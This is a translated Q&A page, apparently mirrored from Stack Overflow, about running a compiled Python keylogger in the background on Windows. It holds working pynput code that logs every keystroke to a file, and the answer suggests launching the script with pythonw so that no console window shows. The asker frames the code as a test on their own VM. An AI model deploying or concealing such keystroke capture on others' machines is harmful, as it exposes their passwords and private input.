繁体   English   中英

如何在后台运行python脚本可执行文件

[英]How to run a python script executable in the background

我正在运行python 3.6,并做了一个键盘记录程序来在我的VM上进行测试。 我使用pyinstaller将键盘记录程序转换为可执行文件。 键盘记录程序工作得很好,但是,当我运行它时,它会打开一个黑色的窗口,当我关闭它时,它将停止该程序。 我想要它,因此可以在后台运行可执行文件。

编辑:我正在使用Windows 10

from pynput.keyboard import Key, Listener
import logging

log_dir = ''

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

如果您不希望任何控制台窗口出现在窗口下。 要在Windows上start ,请使用pythonw执行它。 热键是Windows + r

pythonw C:\Users\yourUser\Desktop\hidden.py

在此处输入图片说明

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM